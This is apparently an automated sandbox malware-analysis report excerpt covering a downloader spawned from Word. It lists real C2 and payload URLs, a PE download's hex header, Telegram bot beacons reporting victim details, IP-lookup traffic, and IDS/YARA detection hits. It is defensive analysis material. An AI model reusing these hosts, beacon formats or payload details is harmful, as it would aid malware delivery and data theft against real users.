              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 192.168.2.4:49737 -> 147.124.216.113:80
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.4:49737
              Source: winword.exeMemory has grown: Private usage: 1MB later: 67MB

              Networking

              barindex
              Suricata IDS alerts for network traffic
              Source: Network trafficSuricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.4:52796 -> 149.154.167.220:443
              Source: Network trafficSuricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.4:52782 -> 149.154.167.220:443
              Source: Network trafficSuricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.4:52761 -> 149.154.167.220:443
              C2 URLs / IPs found in malware configuration
              Source: Malware configuration extractorURLs: https://amazonenviro.com/admin/245_Nsltarpncon
              Uses the Telegram API (likely for C&C communication)
              Source: unknownDNS query: name: api.telegram.org
              Yara detected Generic Downloader
              Source: Yara matchFile source: 16.2.npratlsN.pif.2e310000.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2b48a8ee.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.23cc0ee8.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2bb8a8ee.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2dd40000.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2e490000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.214f9a06.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2b489a06.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2e310ee8.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2bb89a06.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.23cc0000.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2dd40ee8.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.242f0000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2ea90000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.214fa8ee.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.3.npratlsN.pif.29aec7e8.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_0290E7AC InternetCheckConnectionA,4_2_0290E7AC
              Source: global trafficTCP traffic: 192.168.2.4:52774 -> 46.151.208.21:587
              Source: global trafficTCP traffic: 192.168.2.4:52741 -> 1.1.1.1:53
              Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKContent-Type: application/octet-streamLast-Modified: Mon, 13 Jan 2025 01:10:58 GMTAccept-Ranges: bytesETag: "9ca0aa05865db1:0"Server: Microsoft-IIS/8.5Date: Tue, 14 Jan 2025 07:08:10 GMTContent-Length: 1443328Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 22 06 00 00 e0 0f 00 00 00 00 00 70 37 06 00 00 10 00 00 00 40 06 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 16 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 a0 06 00 1e 25 00 00 00 70 07 00 00 26 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 06 00 4c 71 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 06 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 a6 06 00 c8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 00 19 06 00 00 10 00 00 00 1a 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 cc 07 00 00 00 30 06 00 00 08 00 00 00 1e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 60 1e 00 00 00 40 06 00 00 20 00 00 00 26 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 b0 36 00 00 00 60 06 00 00 00 00 00 00 46 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 1e 25 00 00 00 a0 06 00 00 26 00 00 00 46 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 34 00 00 00 00 d0 06 00 00 00 00 00 00 6c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 e0 06 00 00 02 00 00 00 6c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 4c 71 00 00 00 f0 06 00 00 72 00 00 00 6e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 72 73 72 63 00 00 00 00 26 0f 00 00 70 07 00 00 26 0f 00 00 e0 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 16 00 00 00 00 00 00 06 16 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:585948%0D%0ADate%20and%20Time:%2014/01/2025%20/%2016:21:19%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20585948%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:585948%0D%0ADate%20and%20Time:%2014/01/2025%20/%2014:32:10%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20585948%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:585948%0D%0ADate%20and%20Time:%2014/01/2025%20/%2016:02:22%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20585948%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
              Source: Joe Sandbox ViewIP Address: 132.226.8.169 132.226.8.169
              Source: Joe Sandbox ViewIP Address: 104.21.16.1 104.21.16.1
              Source: Joe Sandbox ViewIP Address: 104.21.16.1 104.21.16.1
              Source: Joe Sandbox ViewJA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
              Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
              Source: Joe Sandbox ViewJA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
              Source: unknownDNS query: name: checkip.dyndns.org
              Source: unknownDNS query: name: reallyfreegeoip.org
              Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49742 -> 166.62.27.188:443
              Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:52777 -> 132.226.8.169:80
              Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:52742 -> 132.226.8.169:80
              Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:52763 -> 132.226.8.169:80
              Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:52753 -> 132.226.8.169:80
              Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49754 -> 132.226.8.169:80
              Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:52760 -> 132.226.8.169:80
              Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:52768 -> 132.226.8.169:80
              Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:52750 -> 104.21.16.1:443
              Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:52769 -> 104.21.16.1:443
              Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:52758 -> 104.21.16.1:443
              Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:52748 -> 104.21.16.1:443
              Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:52764 -> 104.21.16.1:443
              Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:52752 -> 104.21.16.1:443
              Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49758 -> 104.21.16.1:443
              Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:52759 -> 104.21.16.1:443
              Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:52775 -> 104.21.16.1:443
              Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:52779 -> 104.21.16.1:443
              Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:52746 -> 104.21.16.1:443
              Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:52785 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52774 -> 46.151.208.21:587
              Source: global trafficHTTP traffic detected: GET /admin/245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
              Source: global trafficHTTP traffic detected: GET /albt.exe HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Language: en-chUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 147.124.216.113
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
